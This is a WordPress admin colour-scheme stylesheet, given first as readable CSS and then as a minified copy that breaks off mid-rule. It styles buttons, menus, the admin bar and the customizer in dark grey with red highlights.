a:hover, a:active, a:focus {
  color: #0096dd;
}

#post-body .misc-pub-post-status:before,
#post-body #visibility:before,
.curtime #timestamp:before,
#post-body .misc-pub-revisions:before,
span.wp-media-buttons-icon:before {
  color: currentColor;
}

.wp-core-ui .button-link {
  color: #0073aa;
}
.wp-core-ui .button-link:hover, .wp-core-ui .button-link:active, .wp-core-ui .button-link:focus {
  color: #0096dd;
}

.media-modal .delete-attachment,
.media-modal .trash-attachment,
.media-modal .untrash-attachment,
.wp-core-ui .button-link-delete {
  color: #a00;
}

.media-modal .delete-attachment:hover,
.media-modal .trash-attachment:hover,
.media-modal .untrash-attachment:hover,
.media-modal .delete-attachment:focus,
.media-modal .trash-attachment:focus,
.media-modal .untrash-attachment:focus,
.wp-core-ui .button-link-delete:hover,
.wp-core-ui .button-link-delete:focus {
  color: #dc3232;
}

/* Forms */
input[type=checkbox]:checked::before {
  content: url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%237e8993%27%2F%3E%3C%2Fsvg%3E");
}

input[type=radio]:checked::before {
  background: #7e8993;
}

.wp-core-ui input[type=reset]:hover,
.wp-core-ui input[type=reset]:active {
  color: #0096dd;
}

input[type=text]:focus,
input[type=password]:focus,
input[type=color]:focus,
input[type=date]:focus,
input[type=datetime]:focus,
input[type=datetime-local]:focus,
input[type=email]:focus,
input[type=month]:focus,
input[type=number]:focus,
input[type=search]:focus,
input[type=tel]:focus,
input[type=text]:focus,
input[type=time]:focus,
input[type=url]:focus,
input[type=week]:focus,
input[type=checkbox]:focus,
input[type=radio]:focus,
select:focus,
textarea:focus {
  border-color: #e14d43;
  box-shadow: 0 0 0 1px #e14d43;
}

/* Core UI */
.wp-core-ui .button {
  border-color: #7e8993;
  color: #32373c;
}
.wp-core-ui .button.hover,
.wp-core-ui .button:hover,
.wp-core-ui .button.focus,
.wp-core-ui .button:focus {
  border-color: #717c87;
  color: #262a2e;
}
.wp-core-ui .button.focus,
.wp-core-ui .button:focus {
  border-color: #7e8993;
  color: #262a2e;
  box-shadow: 0 0 0 1px #32373c;
}
.wp-core-ui .button:active {
  border-color: #7e8993;
  color: #262a2e;
  box-shadow: none;
}
.wp-core-ui .button.active,
.wp-core-ui .button.active:focus,
.wp-core-ui .button.active:hover {
  border-color: #e14d43;
  color: #262a2e;
  box-shadow: inset 0 2px 5px -3px #e14d43;
}
.wp-core-ui .button.active:focus {
  box-shadow: 0 0 0 1px #32373c;
}
.wp-core-ui .button,
.wp-core-ui .button-secondary {
  color: #e14d43;
  border-color: #e14d43;
}
.wp-core-ui .button.hover,
.wp-core-ui .button:hover,
.wp-core-ui .button-secondary:hover {
  border-color: #d02c21;
  color: #d02c21;
}
.wp-core-ui .button.focus,
.wp-core-ui .button:focus,
.wp-core-ui .button-secondary:focus {
  border-color: #e8776f;
  color: #a4231a;
  box-shadow: 0 0 0 1px #e8776f;
}
.wp-core-ui .button-primary:hover {
  color: #fff;
}
.wp-core-ui .button-primary {
  background: #e14d43;
  border-color: #e14d43;
  color: #fff;
}
.wp-core-ui .button-primary:hover, .wp-core-ui .button-primary:focus {
  background: #e35950;
  border-color: #df4136;
  color: #fff;
}
.wp-core-ui .button-primary:focus {
  box-shadow: 0 0 0 1px #fff, 0 0 0 3px #e14d43;
}
.wp-core-ui .button-primary:active {
  background: #dd382d;
  border-color: #dd382d;
  color: #fff;
}
.wp-core-ui .button-primary.active, .wp-core-ui .button-primary.active:focus, .wp-core-ui .button-primary.active:hover {
  background: #e14d43;
  color: #fff;
  border-color: #ba281e;
  box-shadow: inset 0 2px 5px -3px #200705;
}
.wp-core-ui .button-group > .button.active {
  border-color: #e14d43;
}
.wp-core-ui .wp-ui-primary {
  color: #fff;
  background-color: #363b3f;
}
.wp-core-ui .wp-ui-text-primary {
  color: #363b3f;
}
.wp-core-ui .wp-ui-highlight {
  color: #fff;
  background-color: #e14d43;
}
.wp-core-ui .wp-ui-text-highlight {
  color: #e14d43;
}
.wp-core-ui .wp-ui-notification {
  color: #fff;
  background-color: #69a8bb;
}
.wp-core-ui .wp-ui-text-notification {
  color: #69a8bb;
}
.wp-core-ui .wp-ui-text-icon {
  color: hsl(206.6666666667, 7%, 95%);
}

/* List tables */
.wrap .page-title-action,
.wrap .page-title-action:active {
  border: 1px solid #e14d43;
  color: #e14d43;
}

.wrap .page-title-action:hover {
  color: #d02c21;
  border-color: #d02c21;
}

.wrap .page-title-action:focus {
  border-color: #e8776f;
  color: #a4231a;
  box-shadow: 0 0 0 1px #e8776f;
}

.view-switch a.current:before {
  color: #363b3f;
}

.view-switch a:hover:before {
  color: #69a8bb;
}

/* Admin Menu */
#adminmenuback,
#adminmenuwrap,
#adminmenu {
  background: #363b3f;
}

#adminmenu a {
  color: #fff;
}

#adminmenu div.wp-menu-image:before {
  color: hsl(206.6666666667, 7%, 95%);
}

#adminmenu a:hover,
#adminmenu li.menu-top:hover,
#adminmenu li.opensub > a.menu-top,
#adminmenu li > a.menu-top:focus {
  color: #fff;
  background-color: #e14d43;
}

#adminmenu li.menu-top:hover div.wp-menu-image:before,
#adminmenu li.opensub > a.menu-top div.wp-menu-image:before {
  color: #fff;
}

/* Active tabs use a bottom border color that matches the page background color. */
.about-wrap .nav-tab-active,
.nav-tab-active,
.nav-tab-active:hover {
  background-color: #f1f1f1;
  border-bottom-color: #f1f1f1;
}

/* Admin Menu: submenu */
#adminmenu .wp-submenu,
#adminmenu .wp-has-current-submenu .wp-submenu,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu {
  background: #26292c;
}

#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,
#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after {
  border-right-color: #26292c;
}

#adminmenu .wp-submenu .wp-submenu-head {
  color: #c3c4c5;
}

#adminmenu .wp-submenu a,
#adminmenu .wp-has-current-submenu .wp-submenu a,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a {
  color: #c3c4c5;
}
#adminmenu .wp-submenu a:focus, #adminmenu .wp-submenu a:hover,
#adminmenu .wp-has-current-submenu .wp-submenu a:focus,
#adminmenu .wp-has-current-submenu .wp-submenu a:hover,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:focus,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:hover,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover {
  color: #e14d43;
}

/* Admin Menu: current */
#adminmenu .wp-submenu li.current a,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a {
  color: #fff;
}
#adminmenu .wp-submenu li.current a:hover, #adminmenu .wp-submenu li.current a:focus,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:hover,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:focus,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus {
  color: #e14d43;
}

ul#adminmenu a.wp-has-current-submenu:after,
ul#adminmenu > li.current > a.current:after {
  border-right-color: #f1f1f1;
}

#adminmenu li.current a.menu-top,
#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,
#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,
.folded #adminmenu li.current.menu-top {
  color: #fff;
  background: #e14d43;
}

#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,
#adminmenu a.current:hover div.wp-menu-image:before,
#adminmenu li.current div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,
#adminmenu li:hover div.wp-menu-image:before,
#adminmenu li a:focus div.wp-menu-image:before,
#adminmenu li.opensub div.wp-menu-image:before {
  color: #fff;
}

/* Admin Menu: bubble */
#adminmenu .menu-counter,
#adminmenu .awaiting-mod,
#adminmenu .update-plugins {
  color: #fff;
  background: #69a8bb;
}

#adminmenu li.current a .awaiting-mod,
#adminmenu li a.wp-has-current-submenu .update-plugins,
#adminmenu li:hover a .awaiting-mod,
#adminmenu li.menu-top:hover > a .update-plugins {
  color: #fff;
  background: #26292c;
}

/* Admin Menu: collapse button */
#collapse-button {
  color: hsl(206.6666666667, 7%, 95%);
}

#collapse-button:hover,
#collapse-button:focus {
  color: #e14d43;
}

/* Admin Bar */
#wpadminbar {
  color: #fff;
  background: #363b3f;
}

#wpadminbar .ab-item,
#wpadminbar a.ab-item,
#wpadminbar > #wp-toolbar span.ab-label,
#wpadminbar > #wp-toolbar span.noticon {
  color: #fff;
}

#wpadminbar .ab-icon,
#wpadminbar .ab-icon:before,
#wpadminbar .ab-item:before,
#wpadminbar .ab-item:after {
  color: hsl(206.6666666667, 7%, 95%);
}

#wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item,
#wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojs .ab-top-menu > li.menupop:hover > .ab-item,
#wpadminbar .ab-top-menu > li.menupop.hover > .ab-item {
  color: #e14d43;
  background: #26292c;
}

#wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar li.hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label {
  color: #e14d43;
}

#wpadminbar:not(.mobile) li:hover .ab-icon:before,
#wpadminbar:not(.mobile) li:hover .ab-item:before,
#wpadminbar:not(.mobile) li:hover .ab-item:after,
#wpadminbar:not(.mobile) li:hover #adminbarsearch:before {
  color: #e14d43;
}

/* Admin Bar: submenu */
#wpadminbar .menupop .ab-sub-wrapper {
  background: #26292c;
}

#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,
#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu {
  background: #4c4c4d;
}

#wpadminbar .ab-submenu .ab-item,
#wpadminbar .quicklinks .menupop ul li a,
#wpadminbar .quicklinks .menupop.hover ul li a,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a {
  color: #c3c4c5;
}

#wpadminbar .quicklinks li .blavatar,
#wpadminbar .menupop .menupop > .ab-item:before {
  color: hsl(206.6666666667, 7%, 95%);
}

#wpadminbar .quicklinks .menupop ul li a:hover,
#wpadminbar .quicklinks .menupop ul li a:focus,
#wpadminbar .quicklinks .menupop ul li a:hover strong,
#wpadminbar .quicklinks .menupop ul li a:focus strong,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a,
#wpadminbar .quicklinks .menupop.hover ul li a:hover,
#wpadminbar .quicklinks .menupop.hover ul li a:focus,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,
#wpadminbar li:hover .ab-icon:before,
#wpadminbar li:hover .ab-item:before,
#wpadminbar li a:focus .ab-icon:before,
#wpadminbar li .ab-item:focus:before,
#wpadminbar li .ab-item:focus .ab-icon:before,
#wpadminbar li.hover .ab-icon:before,
#wpadminbar li.hover .ab-item:before,
#wpadminbar li:hover #adminbarsearch:before,
#wpadminbar li #adminbarsearch.adminbar-focused:before {
  color: #e14d43;
}

#wpadminbar .quicklinks li a:hover .blavatar,
#wpadminbar .quicklinks li a:focus .blavatar,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar,
#wpadminbar .menupop .menupop > .ab-item:hover:before,
#wpadminbar.mobile .quicklinks .ab-icon:before,
#wpadminbar.mobile .quicklinks .ab-item:before {
  color: #e14d43;
}

#wpadminbar.mobile .quicklinks .hover .ab-icon:before,
#wpadminbar.mobile .quicklinks .hover .ab-item:before {
  color: hsl(206.6666666667, 7%, 95%);
}

/* Admin Bar: search */
#wpadminbar #adminbarsearch:before {
  color: hsl(206.6666666667, 7%, 95%);
}

#wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus {
  color: #fff;
  background: #464d52;
}

/* Admin Bar: recovery mode */
#wpadminbar #wp-admin-bar-recovery-mode {
  color: #fff;
  background-color: #69a8bb;
}

#wpadminbar #wp-admin-bar-recovery-mode .ab-item,
#wpadminbar #wp-admin-bar-recovery-mode a.ab-item {
  color: #fff;
}

#wpadminbar .ab-top-menu > #wp-admin-bar-recovery-mode.hover > .ab-item,
#wpadminbar.nojq .quicklinks .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus,
#wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode:hover > .ab-item,
#wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus {
  color: #fff;
  background-color: #5f97a8;
}

/* Admin Bar: my account */
#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img {
  border-color: #464d52;
  background-color: #464d52;
}

#wpadminbar #wp-admin-bar-user-info .display-name {
  color: #fff;
}

#wpadminbar #wp-admin-bar-user-info a:hover .display-name {
  color: #e14d43;
}

#wpadminbar #wp-admin-bar-user-info .username {
  color: #c3c4c5;
}

/* Pointers */
.wp-pointer .wp-pointer-content h3 {
  background-color: #e14d43;
  border-color: #dd382d;
}

.wp-pointer .wp-pointer-content h3:before {
  color: #e14d43;
}

.wp-pointer.wp-pointer-top .wp-pointer-arrow,
.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,
.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,
.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner {
  border-bottom-color: #e14d43;
}

/* Media */
.media-item .bar,
.media-progress-bar div {
  background-color: #e14d43;
}

.details.attachment {
  box-shadow: inset 0 0 0 3px #fff, inset 0 0 0 7px #e14d43;
}

.attachment.details .check {
  background-color: #e14d43;
  box-shadow: 0 0 0 1px #fff, 0 0 0 2px #e14d43;
}

.media-selection .attachment.selection.details .thumbnail {
  box-shadow: 0 0 0 1px #fff, 0 0 0 3px #e14d43;
}

/* Themes */
.theme-browser .theme.active .theme-name,
.theme-browser .theme.add-new-theme a:hover:after,
.theme-browser .theme.add-new-theme a:focus:after {
  background: #e14d43;
}

.theme-browser .theme.add-new-theme a:hover span:after,
.theme-browser .theme.add-new-theme a:focus span:after {
  color: #e14d43;
}

.theme-section.current,
.theme-filter.current {
  border-bottom-color: #363b3f;
}

body.more-filters-opened .more-filters {
  color: #fff;
  background-color: #363b3f;
}

body.more-filters-opened .more-filters:before {
  color: #fff;
}

body.more-filters-opened .more-filters:hover,
body.more-filters-opened .more-filters:focus {
  background-color: #e14d43;
  color: #fff;
}

body.more-filters-opened .more-filters:hover:before,
body.more-filters-opened .more-filters:focus:before {
  color: #fff;
}

/* Widgets */
.widgets-chooser li.widgets-chooser-selected {
  background-color: #e14d43;
  color: #fff;
}

.widgets-chooser li.widgets-chooser-selected:before,
.widgets-chooser li.widgets-chooser-selected:focus:before {
  color: #fff;
}

/* Nav Menus */
.nav-menus-php .item-edit:focus:before {
  box-shadow: 0 0 0 1px #e8776f, 0 0 2px 1px #e14d43;
}

/* Responsive Component */
div#wp-responsive-toggle a:before {
  color: hsl(206.6666666667, 7%, 95%);
}

.wp-responsive-open div#wp-responsive-toggle a {
  border-color: transparent;
  background: #e14d43;
}

.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a {
  background: #26292c;
}

.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before {
  color: hsl(206.6666666667, 7%, 95%);
}

/* TinyMCE */
.mce-container.mce-menu .mce-menu-item:hover,
.mce-container.mce-menu .mce-menu-item.mce-selected,
.mce-container.mce-menu .mce-menu-item:focus,
.mce-container.mce-menu .mce-menu-item-normal.mce-active,
.mce-container.mce-menu .mce-menu-item-preview.mce-active {
  background: #e14d43;
}

/* Customizer */
.wp-core-ui #customize-controls .control-section:hover > .accordion-section-title,
.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,
.wp-core-ui #customize-controls .control-section.open .accordion-section-title,
.wp-core-ui #customize-controls .control-section .accordion-section-title:focus {
  color: #0073aa;
  border-left-color: #e14d43;
}
.wp-core-ui .customize-controls-close:focus,
.wp-core-ui .customize-controls-close:hover,
.wp-core-ui .customize-controls-preview-toggle:focus,
.wp-core-ui .customize-controls-preview-toggle:hover {
  color: #0073aa;
  border-top-color: #e14d43;
}
.wp-core-ui .customize-panel-back:hover,
.wp-core-ui .customize-panel-back:focus,
.wp-core-ui .customize-section-back:hover,
.wp-core-ui .customize-section-back:focus {
  color: #0073aa;
  border-left-color: #e14d43;
}
.wp-core-ui .customize-screen-options-toggle:hover,
.wp-core-ui .customize-screen-options-toggle:active,
.wp-core-ui .customize-screen-options-toggle:focus,
.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus {
  color: #0073aa;
}
.wp-core-ui .customize-screen-options-toggle:focus:before,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before, .wp-core-ui.wp-customizer button:focus .toggle-indicator:before,
.wp-core-ui .menu-item-bar .item-delete:focus:before,
.wp-core-ui #available-menu-items .item-add:focus:before,
.wp-core-ui #customize-save-button-wrapper .save:focus,
.wp-core-ui #publish-settings:focus {
  box-shadow: 0 0 0 1px #e8776f, 0 0 2px 1px #e14d43;
}
.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover {
  color: #0073aa;
}
.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,
.wp-core-ui .control-panel-themes .customize-themes-section-title:hover {
  border-left-color: #e14d43;
  color: #0073aa;
}
.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after {
  background: #e14d43;
}
.wp-core-ui .control-panel-themes .customize-themes-section-title.selected {
  color: #0073aa;
}
.wp-core-ui #customize-theme-controls .control-section:hover > .accordion-section-title:after,
.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,
.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,
.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,
.wp-core-ui #customize-outer-theme-controls .control-section:hover > .accordion-section-title:after,
.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,
.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,
.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after {
  color: #0073aa;
}
.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus {
  background-color: #fbfbfc;
  border-color: #e14d43;
  border-style: solid;
  box-shadow: 0 0 0 1px #e14d43;
  outline: 2px solid transparent;
}
.wp-core-ui .wp-full-overlay-footer .devices button:focus,
.wp-core-ui .wp-full-overlay-footer .devices button.active:hover {
  border-bottom-color: #e14d43;
}
.wp-core-ui .wp-full-overlay-footer .devices button:hover:before,
.wp-core-ui .wp-full-overlay-footer .devices button:focus:before {
  color: #e14d43;
}
.wp-core-ui .wp-full-overlay .collapse-sidebar:hover,
.wp-core-ui .wp-full-overlay .collapse-sidebar:focus {
  color: #e14d43;
}
.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow,
.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow {
  box-shadow: 0 0 0 1px #e8776f, 0 0 2px 1px #e14d43;
}
.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover {
  border-bottom-color: #e14d43;
  color: #0073aa;
}/*! This file is auto-generated */
body{background:#f1f1f1}a{color:#0073aa}a:active,a:focus,a:hover{color:#0096dd}#post-body #visibility:before,#post-body .misc-pub-post-status:before,#post-body .misc-pub-revisions:before,.curtime #timestamp:before,span.wp-media-buttons-icon:before{color:currentColor}.wp-core-ui .button-link{color:#0073aa}.wp-core-ui .button-link:active,.wp-core-ui .button-link:focus,.wp-core-ui .button-link:hover{color:#0096dd}.media-modal .delete-attachment,.media-modal .trash-attachment,.media-modal .untrash-attachment,.wp-core-ui .button-link-delete{color:#a00}.media-modal .delete-attachment:focus,.media-modal .delete-attachment:hover,.media-modal .trash-attachment:focus,.media-modal .trash-attachment:hover,.media-modal .untrash-attachment:focus,.media-modal .untrash-attachment:hover,.wp-core-ui .button-link-delete:focus,.wp-core-ui .button-link-delete:hover{color:#dc3232}input[type=checkbox]:checked::before{content:url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%237e8993%27%2F%3E%3C%2Fsvg%3E")}input[type=radio]:checked::before{background:#7e8993}.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:hover{color:#0096dd}input[type=checkbox]:focus,input[type=color]:focus,input[type=date]:focus,input[type=datetime-local]:focus,input[type=datetime]:focus,input[type=email]:focus,input[type=month]:focus,input[type=number]:focus,input[type=password]:focus,input[type=radio]:focus,input[type=search]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=time]:focus,input[type=url]:focus,input[type=week]:focus,select:focus,textarea:focus{border-color:#e14d43;box-shadow:0 0 0 1px #e14d43}.wp-core-ui .button{border-color:#7e8993;color:#32373c}.wp-core-ui .button.focus,.wp-core-ui .button.hover,.wp-core-ui .button:focus,.wp-core-ui .button:hover{border-color:#717c87;color:#262a2e}.wp-core-ui .button.focus,.wp-core-ui .button:focus{border-color:#7e8993;color:#262a2e;box-shadow:0 0 0 1px #32373c}.wp-core-ui .button:active{border-color:#7e8993;color:#262a2e;box-shadow:none}.wp-core-ui .button.active,.wp-core-ui .button.active:focus,.wp-core-ui .button.active:hover{border-color:#e14d43;color:#262a2e;box-shadow:inset 0 2px 5px -3px #e14d43}.wp-core-ui .button.active:focus{box-shadow:0 0 0 1px #32373c}.wp-core-ui .button,.wp-core-ui .button-secondary{color:#e14d43;border-color:#e14d43}.wp-core-ui .button-secondary:hover,.wp-core-ui .button.hover,.wp-core-ui .button:hover{border-color:#d02c21;color:#d02c21}.wp-core-ui .button-secondary:focus,.wp-core-ui .button.focus,.wp-core-ui .button:focus{border-color:#e8776f;color:#a4231a;box-shadow:0 0 0 1px #e8776f}.wp-core-ui .button-primary:hover{color:#fff}.wp-core-ui .button-primary{background:#e14d43;border-color:#e14d43;color:#fff}.wp-core-ui .button-primary:focus,.wp-core-ui .button-primary:hover{background:#e35950;border-color:#df4136;color:#fff}.wp-core-ui .button-primary:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px #e14d43}.wp-core-ui .button-primary:active{background:#dd382d;border-color:#dd382d;color:#fff}.wp-core-ui .button-primary.active,.wp-core-ui .button-primary.active:focus,.wp-core-ui .button-primary.active:hover{background:#e14d43;color:#fff;border-color:#ba281e;box-shadow:inset 0 2px 5px -3px #200705}.wp-core-ui .button-group>.button.active{border-color:#e14d43}.wp-core-ui .wp-ui-primary{color:#fff;background-color:#363b3f}.wp-core-ui .wp-ui-text-primary{color:#363b3f}.wp-core-ui .wp-ui-highlight{color:#fff;background-color:#e14d43}.wp-core-ui .wp-ui-text-highlight{color:#e14d43}.wp-core-ui .wp-ui-notification{color:#fff;background-color:#69a8bb}.wp-core-ui .wp-ui-text-notification{color:#69a8bb}.wp-core-ui .wp-ui-text-icon{color:hsl(206.6666666667,7%,95%)}.wrap .page-title-action,.wrap .page-title-action:active{border:1px solid #e14d43;color:#e14d43}.wrap .page-title-action:hover{color:#d02c21;border-color:#d02c21}.wrap .page-title-action:focus{border-color:#e8776f;color:#a4231a;box-shadow:0 0 0 1px #e8776f}.view-switch a.current:before{color:#363b3f}.view-switch a:hover:before{color:#69a8bb}#adminmenu,#adminmenuback,#adminmenuwrap{background:#363b3f}#adminmenu a{color:#fff}#adminmenu div.wp-menu-image:before{color:hsl(206.6666666667,7%,95%)}#adminmenu a:hover,#adminmenu li.menu-top:hover,#adminmenu li.opensub>a.menu-top,#adminmenu li>a.menu-top:focus{color:#fff;background-color:#e14d43}#adminmenu li.menu-top:hover div.wp-menu-image:before,#adminmenu li.opensub>a.menu-top div.wp-menu-image:before{color:#fff}.about-wrap .nav-tab-active,.nav-tab-active,.nav-tab-active:hover{background-color:#f1f1f1;border-bottom-color:#f1f1f1}#adminmenu .wp-has-current-submenu .wp-submenu,#adminmenu .wp-has-current-submenu.opensub .wp-submenu,#adminmenu .wp-submenu,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu{background:#26292c}#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after{border-right-color:#26292c}#adminmenu .wp-submenu .wp-submenu-head{color:#c3c4c5}#adminmenu .wp-has-current-submenu .wp-submenu a,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a,#adminmenu .wp-submenu a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a{color:#c3c4c5}#adminmenu .wp-has-current-submenu .wp-submenu a:focus,#adminmenu .wp-has-current-submenu .wp-submenu a:hover,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover,#adminmenu .wp-submenu a:focus,#adminmenu .wp-submenu a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:hover{color:#e14d43}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a,#adminmenu .wp-submenu li.current a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a{color:#fff}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,#adminmenu .wp-submenu li.current a:focus,#adminmenu .wp-submenu li.current a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:hover{color:#e14d43}ul#adminmenu a.wp-has-current-submenu:after,ul#adminmenu>li.current>a.current:after{border-right-color:#f1f1f1}#adminmenu li.current a.menu-top,#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,.folded #adminmenu li.current.menu-top{color:#fff;background:#e14d43}#adminmenu a.current:hover div.wp-menu-image:before,#adminmenu li a:focus div.wp-menu-image:before,#adminmenu li.current div.wp-menu-image:before,#adminmenu li.opensub div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,#adminmenu li:hover div.wp-menu-image:before{color:#fff}#adminmenu .awaiting-mod,#adminmenu .menu-counter,#adminmenu .update-plugins{color:#fff;background:#69a8bb}#adminmenu li a.wp-has-current-submenu .update-plugins,#adminmenu li.current a .awaiting-mod,#adminmenu li.menu-top:hover>a .update-plugins,#adminmenu li:hover a .awaiting-mod{color:#fff;background:#26292c}#collapse-button{color:hsl(206.6666666667,7%,95%)}#collapse-button:focus,#collapse-button:hover{color:#e14d43}#wpadminbar{color:#fff;background:#363b3f}#wpadminbar .ab-item,#wpadminbar a.ab-item,#wpadminbar>#wp-toolbar span.ab-label,#wpadminbar>#wp-toolbar span.noticon{color:#fff}#wpadminbar .ab-icon,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:after,#wpadminbar .ab-item:before{color:hsl(206.6666666667,7%,95%)}#wpadminbar .ab-top-menu>li.menupop.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>li>.ab-item:focus,#wpadminbar.nojs .ab-top-menu>li.menupop:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li>.ab-item:focus{color:#e14d43;background:#26292c}#wpadminbar:not(.mobile)>#wp-toolbar a:focus span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li.hover span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li:hover span.ab-label{color:#e14d43}#wpadminbar:not(.mobile) li:hover #adminbarsearch:before,#wpadminbar:not(.mobile) li:hover .ab-icon:before,#wpadminbar:not(.mobile) li:hover .ab-item:after,#wpadminbar:not(.mobile) li:hover .ab-item:before{color:#e14d43}#wpadminbar .menupop .ab-sub-wrapper{background:#26292c}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,#wpadminbar .quicklinks .menupop ul.ab-sub-secondary 